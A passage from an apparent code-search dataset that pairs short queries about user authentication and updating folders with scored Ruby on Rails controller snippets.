"score": "0.5521854",
"text": "def show\n @log_unit = LogUnit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @log_unit }\n end\n end",
"title": ""
},
{
"docid": "a5c6760920c93724ef3a95d2b4d02d73",
"score": "0.55144733",
"text": "def destroy\n @unit_of_measure = UnitOfMeasure.find(params[:id])\n @unit_of_measure.destroy\n get_data\n end",
"title": ""
},
{
"docid": "36295a38e9851003581d8851f8749771",
"score": "0.5512173",
"text": "def index\n @commecial_units = CommecialUnit.all\n end",
"title": ""
},
{
"docid": "afb0d187ffcbcda7eaa60bece4ac60a7",
"score": "0.5497276",
"text": "def get_upgrade_units(opts = {})\n data, _status_code, _headers = get_upgrade_units_with_http_info(opts)\n return data\n end",
"title": ""
},
{
"docid": "c8f4ddf0cc8a2fd841babcb52aded23d",
"score": "0.5493982",
"text": "def index\n @rent_units = RentUnit.all\n end",
"title": ""
},
{
"docid": "4774747f8a1926b6ddba30175a3ce843",
"score": "0.5492008",
"text": "def unit\n return @units[@index]\n end",
"title": ""
},
{
"docid": "4774747f8a1926b6ddba30175a3ce843",
"score": "0.5492008",
"text": "def unit\n return @units[@index]\n end",
"title": ""
},
{
"docid": "7b28c654a4933d20fbf09f5791228639",
"score": "0.5481051",
"text": "def show\n render json: @measure\n end",
"title": ""
}
] |
1e8f76beb2f7ad3b6bc6580671bb4c83
|
Require that the user is authenticated.
|
[
{
"docid": "d61b7732116a21fefa7538f421e2da63",
"score": "0.73602164",
"text": "def require_authentication\n\n if current_user.blank?\n redirect_to new_session_path\n return false\n end\n\n true\n\n end",
"title": ""
}
] |
[
{
"docid": "f477ff7197f2f950f5a3722d119bccb0",
"score": "0.83042514",
"text": "def require_authenticated_user!\n unless signed_in?\n raise NotAuthenticatedError\n end\n end",
"title": ""
},
{
"docid": "1fa382e32c672bdea5a24e8b77fa7ecd",
"score": "0.81296945",
"text": "def require_auth\n head :unauthorized unless current_user\n end",
"title": ""
},
{
"docid": "997348ea53576702bccb8125c854c0da",
"score": "0.8058896",
"text": "def require_auth\n (authorized? && authenticated?) || halt(401)\n end",
"title": ""
},
{
"docid": "b80fe3ab7ff26511491e385bd07cc786",
"score": "0.79591155",
"text": "def require_auth\n redirect_to login_path unless authenticated?\n end",
"title": ""
},
{
"docid": "490a1043a49178e34ed7872836123a63",
"score": "0.7837372",
"text": "def ensure_authenticated_user\r\n head :unauthorized unless current_user\r\n end",
"title": ""
},
{
"docid": "d6c0b3c62f64ab1739600d5880ca11e6",
"score": "0.7835331",
"text": "def require_auth\n if session[:user_id]\n return true \n else\n render json: {message: \"not authenticated\"}, status: :forbidden\n return false\n end\n end",
"title": ""
},
{
"docid": "51a259f29e92bfe95e21a1069502a601",
"score": "0.7812327",
"text": "def require_authenticated\n if !session[:email]\n halt 401\n end\n end",
"title": ""
},
{
"docid": "508c1f76b611b14fafc7547f81cd4f0b",
"score": "0.7743729",
"text": "def login_required\n not_authorized unless current_user\n end",
"title": ""
},
{
"docid": "a8700a6115c21f5d8d4cf7135704c78d",
"score": "0.77388585",
"text": "def require_authentication\n \tif current_user.nil? then\n \t\tredirect_to login_page_path\n \tend\n end",
"title": ""
},
{
"docid": "cbd3056146cdaea396d87fcb3483b994",
"score": "0.76922596",
"text": "def require_login\n not_authorized(\"Please sign up or log in above to access this resource.\") unless current_user\n end",
"title": ""
},
{
"docid": "20ab012f925b473f145803f144a60fec",
"score": "0.7684648",
"text": "def require_logged_in\n access_denied(\"You must be logged in to do that.\") unless logged_in?\n end",
"title": ""
},
{
"docid": "c8bcfba31e3cc7dbccbba08c38593510",
"score": "0.76771593",
"text": "def require_user\n unless user_logged_in?\n flash[:danger] = 'You must sign in to view this page.'\n redirect_to root_path and return\n end\n end",
"title": ""
},
{
"docid": "b5799cf168537fd37da9708df0fe4134",
"score": "0.76637965",
"text": "def authentication_required\n if !logged_in?\n redirect_to login_path\n end\n end",
"title": ""
},
{
"docid": "f501b55c88a38afe702e34275cb28db1",
"score": "0.76574945",
"text": "def require_authenticated_user\n return if authenticate_or_request_with_http_basic do |ident_string, secret_string|\n ident_string == 'karl' && secret_string.to_s.crypt(ident_string)\n end\n render :text => \"You must be logged in to view this site\", :layout => false, :status => status\n end",
"title": ""
},
{
"docid": "af20aac542cc0b200fca36c72c7ace24",
"score": "0.76488686",
"text": "def login_required\n authenticate_user! \n end",
"title": ""
},
{
"docid": "f8ce1bbe9bdbde8326ee71e7068c3702",
"score": "0.76188403",
"text": "def authenticated\n\t\tif current_user || current_admin\n\t\t\ttrue\n\t\telse\n\t\t\tflash[:error] = \"You must log in to view that page!\"\n\t\t\tredirect_to root_url\n\t\tend\n\tend",
"title": ""
},
{
"docid": "54d0a10693719e45c98965f4e6e66be6",
"score": "0.7607711",
"text": "def ensure_logged_in\n authenticate unless token_authenticated? || @skip_authenticate\n end",
"title": ""
},
{
"docid": "310437ddd188bc05d9fd648303e7565a",
"score": "0.7579084",
"text": "def authenticate!\n not_authorized() unless logged_in?()\n end",
"title": ""
},
{
"docid": "11f005b56aeee9033bc062dd28ab193c",
"score": "0.75666696",
"text": "def require_user\n if !is_logged_in\n flash[:danger] = 'You must be logged in to perform this action'\n redirect_to root_path\n end\n end",
"title": ""
},
{
"docid": "00ede1c710774dd686a9aa2fff4f8c6d",
"score": "0.7561733",
"text": "def ensure_authenticated\n session.user = session._authentication_manager.fetch_user(session[:user])\n raise Merb::Controller::Unauthenticated unless session.user\n end",
"title": ""
},
{
"docid": "4c13891edbf6fadc6e0144548ad62071",
"score": "0.7554706",
"text": "def require_logged_in!\n unless signed_in?\n render json: [\"You must be signed in to perform that action!\"], status: :unauthorized\n end\n end",
"title": ""
},
{
"docid": "af3603819feae171757413a8d6c628e1",
"score": "0.7540342",
"text": "def ensure_user\n current_user? || deny_access('You must be logged in to perform this action.')\n end",
"title": ""
},
{
"docid": "5728451500ad2b4c70154f9c625004b0",
"score": "0.7516856",
"text": "def require_user\n if !logged_in?\n flash[:alert] = \"You must be logged in to perform that action\"\n redirect_to login_path\n end\n end",
"title": ""
},
{
"docid": "524fa820b5189ad0d51640db323eb845",
"score": "0.7514045",
"text": "def require_user\n\t\tredirect_to \"/login\" unless current_user\n\tend",
"title": ""
},
{
"docid": "d9e8f7106d78732293336745bcf0ed6d",
"score": "0.750613",
"text": "def authenticate\n unauthorized unless current_user\n end",
"title": ""
},
{
"docid": "bc6bcd57f6f0ecc55adda00c1d97b7d7",
"score": "0.74938613",
"text": "def require_user\n if !logged_in?\n flash[:alert] = \"You must be logged in to perform that action\"\n redirect_to login_path\n end\n end",
"title": ""
},
{
"docid": "96bc3f873ebf73c7673eaec15595ec5f",
"score": "0.7490587",
"text": "def require_user\n if !logged_in?\n flash[:alert] = \"You must be logged in to perform the action\"\n redirect_to login_path\n end\n end",
"title": ""
},
{
"docid": "8680a9b220aeb3dfce81ba2304f4b16b",
"score": "0.74863297",
"text": "def require_user\n if !logged_in?\n flash[:danger] = \"You must be logged in to perform that action\"\n redirect_to root_path\n end\n end",
"title": ""
},
{
"docid": "bda8e92d689a72fab31762a24c4c4ab0",
"score": "0.7476157",
"text": "def authenticated?; super; end",
"title": ""
},
{
"docid": "71dc8a4b25a2684a93858ee98656a95a",
"score": "0.7475394",
"text": "def authenticate_user\n unauthorized unless current_user\n end",
"title": ""
},
{
"docid": "819d19b4cfa74d0c5ae518e99532e2ad",
"score": "0.7473999",
"text": "def require_auth(user)\n return head(:forbidden) unless current_user == user.account\n end",
"title": ""
},
{
"docid": "c8aa4ad259c27ef1474a6c76ae80d126",
"score": "0.74601626",
"text": "def require_user\n if current_user\n force_redirects\n true\n else\n Rails.logger.debug('User needs to be logged in')\n redirect_to login_url\n false\n end\n end",
"title": ""
},
{
"docid": "79fecf164ad2f46f73461119696b6413",
"score": "0.7459636",
"text": "def require_user\n\t\tif !logged_in?\n\t\t\tflash[:notice] = \"You must be logged in to perform this action\"\n\t\t\tredirect_to login_path\n\t\tend\n\tend",
"title": ""
},
{
"docid": "9f9ea60d1b776be37eb3531551428242",
"score": "0.74526054",
"text": "def authenticate_user!\n raise NotAuthorizedError unless user_logged_in?\n end",
"title": ""
},
{
"docid": "13d13d0bb838be444a0d1ab79653625d",
"score": "0.74445844",
"text": "def require_user\n unless current_user\n store_location\n flash[:notice] = I18n.t('authlogic.error_messages.must_be_logged_in')\n respond_to do |format|\n format.html { redirect_to root_path }\n end\n return false\n end\n end",
"title": ""
},
{
"docid": "23d8c2dea8e64d0dceaec5893169940d",
"score": "0.7397518",
"text": "def user_authenticated\n redirect_to root_url, alert: 'You must be logged in to go here' unless current_user\n end",
"title": ""
},
{
"docid": "308a2e3f8aaa1587113bddcc17889def",
"score": "0.739424",
"text": "def authenticate\n if sesssion[:user_id].nil?\n redirect_to login_path, notice: \"You must log in first.\"\n end\n end",
"title": ""
},
{
"docid": "faa5f514c3348a5b03552be68019206a",
"score": "0.7384192",
"text": "def require_login\n\t\tunless signed_in_user?\n\t\t\tflash[:error] = \"Not authorized, please sign in!\"\n\t\t\tredirect_to root_url\n\t\tend\n\tend",
"title": ""
},
{
"docid": "30a859f06c6820dccaf443bd86afdb9c",
"score": "0.7383094",
"text": "def require_signin\n deny_access if !signed_in?\n end",
"title": ""
},
{
"docid": "6b5abc71a33a8dac9404eb82f79cd561",
"score": "0.7382684",
"text": "def require_user\n if !logged_in?\n flash[:danger] = \"You must be logged in to perform that action\"\n redirect_to root_path\n end\n end",
"title": ""
},
{
"docid": "25cf2a8805d2c40373abcc1083f7c8c0",
"score": "0.73815346",
"text": "def require_user\n redirect_to '/login' unless current_user\n end",
"title": ""
},
{
"docid": "25cf2a8805d2c40373abcc1083f7c8c0",
"score": "0.73815346",
"text": "def require_user\n redirect_to '/login' unless current_user\n end",
"title": ""
},
{
"docid": "ca80d21f77868989c9f717a0d5d96c28",
"score": "0.73744047",
"text": "def require_user\n #if not logged in \n if !logged_in?\n flash[:danger] = \"You must be logged in to perform that action\"\n redirect_to root_path\n end\n \n \n end",
"title": ""
},
{
"docid": "9ea16d9c856a719771f6840a9ef93852",
"score": "0.7365289",
"text": "def authenticate_user!\n unless @current_user\n head :unauthorized\n end\n end",
"title": ""
},
{
"docid": "e70cf529af1336ea17a5d9d626c9943b",
"score": "0.7361026",
"text": "def ensure_logged_in\n login! if @user.nil?\n end",
"title": ""
},
{
"docid": "2ae51b170845e358b740275da2704a3e",
"score": "0.73572075",
"text": "def authenticate_user\n\t\trender_unauthorized unless current_user\n\tend",
"title": ""
},
{
"docid": "faa8d47d086ad2371e68f5108d73a214",
"score": "0.73561776",
"text": "def authenticated?\n true\n end",
"title": ""
},
{
"docid": "3654fae92efad0901fca4f10d787f269",
"score": "0.735472",
"text": "def require_user\n if current_user\n return true\n end\n redirect_to root_url\n end",
"title": ""
},
{
"docid": "e6ef1a7d52f438c272d8def809f64389",
"score": "0.734905",
"text": "def require_auth\n\n # When no user is logged in, redirect the visitor to the login page\n if @user.nil?\n respond_to do |format|\n format.html { redirect_to :controller => :auth, :action => :login }\n end\n end\n\n end",
"title": ""
},
{
"docid": "e14d4404a33a26a9ccf8fbe74ddf646e",
"score": "0.73435295",
"text": "def require_login\n\t\tunless current_user\n\t\t\tredirect_to login_url\n\t\tend\n\tend",
"title": ""
},
{
"docid": "3f70d11d8b991a5c380d622288485f88",
"score": "0.7332025",
"text": "def authenticate_user!\n unless current_user?\n render status: :unauthorized\n end\n end",
"title": ""
},
{
"docid": "1d94e2e2efe8fc862973e192aa79de9f",
"score": "0.7328327",
"text": "def require_user\n if !logged_in?\n flash[:danger] = \"You must be logged in to do that.\"\n redirect_to login_path\n end\n end",
"title": ""
},
{
"docid": "12af84d543e4b546765691968fef9669",
"score": "0.731824",
"text": "def require_logged_in_user\n if !current_user\n head 403\n end\n end",
"title": ""
},
{
"docid": "d8d9ceda022d81dcd06145cfff0715f2",
"score": "0.7316452",
"text": "def require_user\n if current_user.blank?\n respond_to do |format|\n format.html { authenticate_user!}\n format.all { head(:unauthorized) }\n end\n else\n setup_api_client\n end\n end",
"title": ""
},
{
"docid": "dadbaf23430e10812a476d7af88c9172",
"score": "0.7310851",
"text": "def authenticate\n redirect_to '/login' unless current_user\n end",
"title": ""
},
{
"docid": "64a48c240c3548327fb60fe610ae21fb",
"score": "0.7310672",
"text": "def require_logged_in\n redirect_to root_path unless logged_in?\n end",
"title": ""
},
{
"docid": "88d4e29b148d9ee5d91d3414c5ce222f",
"score": "0.7300556",
"text": "def require_user\n if current_user?\n if (is_admin?||is_manager_for?(@account.account_resource_id))\n true\n else\n render :text => \"unauthorized!\", :status => 401\n return\n end\n else\n redirect_to \"/sso/login?return_to=#{request.url}\"\n false\n end\n end",
"title": ""
},
{
"docid": "b2e9e2809ac9cf473ab21fc74aa956bd",
"score": "0.729431",
"text": "def authenticated_user\n authenticated\n error!('401 Unauthorized', 401) unless current_user\n end",
"title": ""
},
{
"docid": "69307c1ce15b1fff7aade56ea6cf622e",
"score": "0.7292937",
"text": "def login_required\n return if authorized?\n unauthorized! unless auth.provided?\n bad_request! unless auth.basic?\n unauthorized! unless authorize(*auth.credentials)\n @req.env['REMOTE_USER'] = auth.username\n end",
"title": ""
},
{
"docid": "a4f854d2deeff74991daf1b4c9b92190",
"score": "0.72843903",
"text": "def authenticate\n\t\tdeny_access unless signed_in?\n\tend",
"title": ""
},
{
"docid": "8ee707bbfa1751b61e6b34f2f2225326",
"score": "0.7272424",
"text": "def login_required\n username, passwd = get_auth_data\n logged_in? && authorized? ? true : access_denied\n end",
"title": ""
},
{
"docid": "4a16e00034628ff2fdec8af87a799893",
"score": "0.72585225",
"text": "def authenticated?\n [email protected]?\n end",
"title": ""
},
{
"docid": "2366ec28dc4b4be6344357a63b95c219",
"score": "0.7256333",
"text": "def authenticated?\n false\n end",
"title": ""
},
{
"docid": "551ea8417164dd16ad43aa121737415f",
"score": "0.72529316",
"text": "def require_login\n unless current_user\n redirect_to signin_path\n end\n end",
"title": ""
},
{
"docid": "fd4cfd24dfaf4569c01a31f4048a9717",
"score": "0.7252842",
"text": "def authenticate!\n\t #when we solve the require relative problem write the line: unless session[:user_id] && User.where(id: session[:user_id])\n\n\t\tif session[:user_id] && User.where(id: session[:user_id]).exists? #if the user id saved in session does not belong to any user, also direct to general homepage\n\t\t\ttrue\n\t\telse\n\t\t\tsession[:original_request] = request.path_info\n\t\t\tfalse\n\t\tend\nend",
"title": ""
},
{
"docid": "470bbb326a79f95e735f0ad1c0005f24",
"score": "0.72512066",
"text": "def authenticate\n deny_access unless signed_in?\n end",
"title": ""
},
{
"docid": "470bbb326a79f95e735f0ad1c0005f24",
"score": "0.72512066",
"text": "def authenticate\n deny_access unless signed_in?\n end",
"title": ""
},
{
"docid": "470bbb326a79f95e735f0ad1c0005f24",
"score": "0.72512066",
"text": "def authenticate\n deny_access unless signed_in?\n end",
"title": ""
},
{
"docid": "470bbb326a79f95e735f0ad1c0005f24",
"score": "0.72512066",
"text": "def authenticate\n deny_access unless signed_in?\n end",
"title": ""
},
{
"docid": "470bbb326a79f95e735f0ad1c0005f24",
"score": "0.72512066",
"text": "def authenticate\n deny_access unless signed_in?\n end",
"title": ""
},
{
"docid": "750c905cd27e59169179e582fb9d7445",
"score": "0.7250284",
"text": "def require_user\n #if not logged in \n if !logged_in?\n flash[:alert] = \"You must be logged in to perform that action\"\n #then redirect them away\n redirect_to login_path\n end\n end",
"title": ""
},
{
"docid": "97f5886f9cb2b7cf433143434651d888",
"score": "0.72449845",
"text": "def require_signin\n\t\tunless current_user\n\t\t\t# session[:intended_url] = request.url\n\t\t\t# redirect_to new_session_url, alert: \"Please sign in first\"\n\t\t\trender nothing: true, status: :unauthorized\n\t\tend\n\tend",
"title": ""
},
{
"docid": "2cedb7a860260b6d4680d93d9c1c2a28",
"score": "0.7240913",
"text": "def require_signed_in\n if !user_signed_in?\n #TODO: Add flash alert\n redirect_to login_path\n end\n end",
"title": ""
},
{
"docid": "bcf6700c4ff00843a5df18c037f4a2e1",
"score": "0.72338974",
"text": "def authenticate\n if !logged_in? || current_user.nil?\n redirect '/login'\n end\n end",
"title": ""
},
{
"docid": "6857c220b311421c6590f5af94f7342b",
"score": "0.72269934",
"text": "def require_user\n unless logged_in?\n store_target_location\n flash[:notice] = \"Debe iniciar sesion para poder acceder a esta pagina\"\n redirect_to login_url\n return false\n end\n true\n end",
"title": ""
},
{
"docid": "101838413b0da8ae4418c5a92a41f3d8",
"score": "0.7219816",
"text": "def authenticated_user\n\t \tauthenticated\n\t \terror!('401 Unauthorized', 401) unless current_user\n\t end",
"title": ""
},
{
"docid": "51840351a41d9638a6cd15fe7a727a35",
"score": "0.72188807",
"text": "def require_login\n return head(:forbidden) unless current_user\n end",
"title": ""
},
{
"docid": "09db0d7669ff9346e789b54fb5c47282",
"score": "0.7210347",
"text": "def require_user\n if !logged_in?\n flash[:danger] = \"You must be logged in to perform that action\"\n redirect_to root_path\n end\n end",
"title": ""
},
{
"docid": "2b6b51acb50f8c4bef5b6d38122c9e69",
"score": "0.72094524",
"text": "def require_user\n if !logged_in?\n flash[:danger] = \"You must be logged in to permform this action\"\n redirect_to root_path\n end\n end",
"title": ""
},
{
"docid": "e4c8e5223f0038169bf207a1dc747f72",
"score": "0.72084314",
"text": "def require_user\n end",
"title": ""
},
{
"docid": "d973985f8873667bce051cf5e8fc06d3",
"score": "0.720008",
"text": "def require_user\r\n if ##LOGIC##\r\n redirect_to '/user/sign_in'\r\n end\r\n end",
"title": ""
},
{
"docid": "74b2e67e3d972d26f0a625627359b26c",
"score": "0.7199794",
"text": "def require_user \n redirect_to '/login' unless current_user \n end",
"title": ""
},
{
"docid": "74b2e67e3d972d26f0a625627359b26c",
"score": "0.7199794",
"text": "def require_user \n redirect_to '/login' unless current_user \n end",
"title": ""
},
{
"docid": "4d0357cb3961d5b84e7bb63a687a9291",
"score": "0.71963024",
"text": "def login_required\n raise LoginRequired unless logged_in?\n true\n end",
"title": ""
},
{
"docid": "81f73042570781ad23cecfb498a119f3",
"score": "0.719521",
"text": "def require_logged_in\n \treturn true if current_user\n\n \treturn redirect_to root_path\n\n end",
"title": ""
},
{
"docid": "5c220d8a44efc1f47b8f9bfa0133c46f",
"score": "0.71950483",
"text": "def authenticate_user\n redirect_to login_path unless logged_in_user?\n end",
"title": ""
},
{
"docid": "c75af1380deb890da05b136e07f33246",
"score": "0.7191914",
"text": "def require_user\n if !logged_in?\n flash[:danger] = \"You must be logged in to perform this action\"\n redirect_to :back\n end\n end",
"title": ""
},
{
"docid": "60ae21885c46d5403d3513ff9408cfbe",
"score": "0.71860397",
"text": "def require_current_user\n if !current_user?(@user)\n redirect_to root_path\n end\n end",
"title": ""
},
{
"docid": "b700fa8e2928de229aa4ef9f27c44edb",
"score": "0.7180735",
"text": "def auth_user\n if !current_user\n redirect_to root_url\n end\n end",
"title": ""
},
{
"docid": "b700fa8e2928de229aa4ef9f27c44edb",
"score": "0.7180735",
"text": "def auth_user\n if !current_user\n redirect_to root_url\n end\n end",
"title": ""
},
{
"docid": "b700fa8e2928de229aa4ef9f27c44edb",
"score": "0.7180735",
"text": "def auth_user\n if !current_user\n redirect_to root_url\n end\n end",
"title": ""
},
{
"docid": "cce62505679129841d5e692026c3357f",
"score": "0.718057",
"text": "def authenticate\n deny_access unless signed_in? \n end",
"title": ""
},
{
"docid": "8e6a0b545d6d89dad6f1dad6de5cb09f",
"score": "0.7171834",
"text": "def authenticate\n if logged_in_user\n redirect_to root_url unless current_user?(find_user)\n end\n end",
"title": ""
},
{
"docid": "a3de8d118de51787006bf3fcef6f11e5",
"score": "0.7171561",
"text": "def require_user\n if session[:uid].blank?\n redirect_to signin_url, :notice => \"Please sign in first.\"\n return\n end\n @user = current_user\n end",
"title": ""
},
{
"docid": "3d092cd586ca587bc28b846fa362fbce",
"score": "0.7163444",
"text": "def is_authenticated?\n end",
"title": ""
},
{
"docid": "8d57fe8825f4f309a949758742a09ea4",
"score": "0.7158995",
"text": "def require_login\n if logged_in? or authorized?\n # Let them pass\n else\n flash[:warning] = \"You must be logged in to view that page\"\n redirect_to login_path(:redirect => request.url)\n end\n end",
"title": ""
},
{
"docid": "bf0c8ca6eeee35b9fee6771141ad690f",
"score": "0.7158455",
"text": "def require_authn!\n raise Authn::UnauthenticatedError if !logged_in?\n\n if current_user && User.roles[current_user.role] != User.roles[:teacher]\n logout\n\n raise Authn::UnauthenticatedError\n end\n end",
"title": ""
},
{
"docid": "57f5cb4e238a985a5830c4420dd54f61",
"score": "0.7156109",
"text": "def authenticate\n deny_access unless signed_in?\n end",
"title": ""
},
{
"docid": "57f5cb4e238a985a5830c4420dd54f61",
"score": "0.7156109",
"text": "def authenticate\n deny_access unless signed_in?\n end",
"title": ""
},
{
"docid": "84987f4e9229bc224cf7047e95d80d81",
"score": "0.7155626",
"text": "def authenticate_user!\n if request.headers['sid'].present? && !request.headers['sid'].nil? && request.headers['utoken'].present? && !request.headers['utoken'].nil?\n session = Session.active_sessions.find_by_id(request.headers['sid'])\n if session.nil? || session.utoken != request.headers['utoken']\n render_error_add :unauthorized, 'unauthorized' and return\n end\n else\n render_error_add :unauthorized, 'unauthorized' and return\n end\n end",
"title": ""
}
] |
b25491aea6c49ba92300f77c3808a1c1
|
PUT /folders/1 PUT /folders/1.json
|
[
{
"docid": "41fbfa4da33fb572f9c2014c86dd0f43",
"score": "0.6446047",
"text": "def update\n @folder = Folder.find(params[:id])\n if params[:folder_content_bookmarks].present?\n bms = params[:folder_content_bookmarks].split(/,/).map do |str|\n str.gsub(/bm_/, '').to_i\n end\n @folder.reorder(bms)\n end\n\n attr = params[:folder].dup\n if attr[:title_date].present?\n attr[:title] = attr[:title_date] + ' ' + attr[:title]\n end\n attr.delete(:title_date)\n\n respond_to do |format|\n if @folder.update_attributes(attr)\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "e02222f7effc4ddcdc1d02696685d0b9",
"score": "0.70633316",
"text": "def rename_folder(id,folder_name)\n self.class.put(\"#{url}/api/filesystem/folders/#{ERB::Util.url_encode(id)}/name\", basic_auth: @auth, body: {:name => folder_name}.to_json, headers: {'Content-Type' => 'application/json'})\n end",
"title": ""
},
{
"docid": "cbf858dd88ad8620a70b0cb16ad820a5",
"score": "0.7028946",
"text": "def update\n respond_with @folder.update(folder_params)\n end",
"title": ""
},
{
"docid": "5070d23e6d69075795bd41d262bccf61",
"score": "0.69190246",
"text": "def update\n @folder = Folder.find(params[:id])\n @folder.path = params[:path];\n\n respond_to do |format|\n if @folder.update_attributes(params[:folder])\n format.html { redirect_to @folder, :notice => 'Folder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @folder.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b230964c2051686de5f3810d447fab74",
"score": "0.6865755",
"text": "def update\n respond_to do |format|\n if @api_v1_folder.update(api_v1_folder_params)\n format.html { redirect_to @api_v1_folder, notice: 'Folder was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_folder }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dc3de99c75cd44018a1505755644bc67",
"score": "0.6690767",
"text": "def update\n\n respond_to do |format|\n if @folder.update_attributes(params[:folder])\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9f32745f386f4220a51cc61a71bf4261",
"score": "0.6640975",
"text": "def update\n respond_to do |format|\n if @folder.update(folder_params)\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9f32745f386f4220a51cc61a71bf4261",
"score": "0.6640975",
"text": "def update\n respond_to do |format|\n if @folder.update(folder_params)\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "41e5d35176c73a9b4cc0ec9f661c3343",
"score": "0.6621",
"text": "def update\r\n respond_to do |format|\r\n if @folder.update(folder_params)\r\n @folder.resetFOLDERPATH # 07042018\r\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @folder.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "f083df0a1d36decd520cce41d45b38e8",
"score": "0.6611788",
"text": "def update\n @folder = Folder.find(params[:id])\n\n respond_to do |format|\n if @folder.update_attributes(params[:folder])\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9422474896c1cf06f585927c260e196b",
"score": "0.66049385",
"text": "def update\n @folder = Folder.find(params[:id])\n\n respond_to do |format|\n if @folder.update_attributes(params[:folder])\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5044bdaedf7276dd7226e982998e00ef",
"score": "0.6603559",
"text": "def update\r\n respond_to do |format|\r\n if @folder.update(folder_params)\r\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @folder.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "ae35cf3147138ad5d5779b0c5f837990",
"score": "0.66016567",
"text": "def update\n respond_to do |format|\n if @folder.update(folder_params)\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { render :show, status: :ok, location: @folder }\n else\n format.html { render :edit }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ae35cf3147138ad5d5779b0c5f837990",
"score": "0.66016567",
"text": "def update\n respond_to do |format|\n if @folder.update(folder_params)\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { render :show, status: :ok, location: @folder }\n else\n format.html { render :edit }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ae35cf3147138ad5d5779b0c5f837990",
"score": "0.66016567",
"text": "def update\n respond_to do |format|\n if @folder.update(folder_params)\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { render :show, status: :ok, location: @folder }\n else\n format.html { render :edit }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ae35cf3147138ad5d5779b0c5f837990",
"score": "0.66016567",
"text": "def update\n respond_to do |format|\n if @folder.update(folder_params)\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { render :show, status: :ok, location: @folder }\n else\n format.html { render :edit }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ae35cf3147138ad5d5779b0c5f837990",
"score": "0.66016567",
"text": "def update\n respond_to do |format|\n if @folder.update(folder_params)\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { render :show, status: :ok, location: @folder }\n else\n format.html { render :edit }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f663efc83936036d83af750f534718af",
"score": "0.6592028",
"text": "def update\n authorize! :modify, @folder\n respond_to do |format|\n if @folder.update(folder_params)\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { render :show, status: :ok, location: @folder }\n else\n format.html { render :edit }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bae089ccfd56b6380734c91c066b0b84",
"score": "0.65787613",
"text": "def rename_folder\n folder = Folder.find(params[:folder_id])\n folder.update(name: params[:new_name])\n render json: folder_to_json(folder)\n end",
"title": ""
},
{
"docid": "f0defd17433915f1cadb22ddbf728848",
"score": "0.65777045",
"text": "def update\n @folder = Folder.find(params[:id])\n\n respond_to do |format|\n if @folder.update_attributes(folder_params)\n format.html { redirect_to @folder, notice: 'Folder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "331f291b3567d206c3fb6e5cd0af7584",
"score": "0.6573664",
"text": "def update\n respond_to do |format|\n if @folder.update(folder_params)\n format.html { redirect_to folders_path, notice: 'Folder was successfully updated.' }\n format.json { render :show, status: :ok, location: @folder }\n else\n format.html { render :edit }\n format.json { render json: @folder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ebd9c0d4a2c92ca7ed5600123cb45060",
"score": "0.6559939",
"text": "def move_folder(id,parent_folder)\n self.class.put(\"#{url}/api/filesystem/folders/#{ERB::Util.url_encode(id)}/parent\", basic_auth: @auth,body: {'parentFolder' => parent_folder}.to_json, headers: {'Content-Type' => 'application/json'})\n end",
"title": ""
},
{
"docid": "d97cdca16634f64c581c45e76c9ff1ed",
"score": "0.6542999",
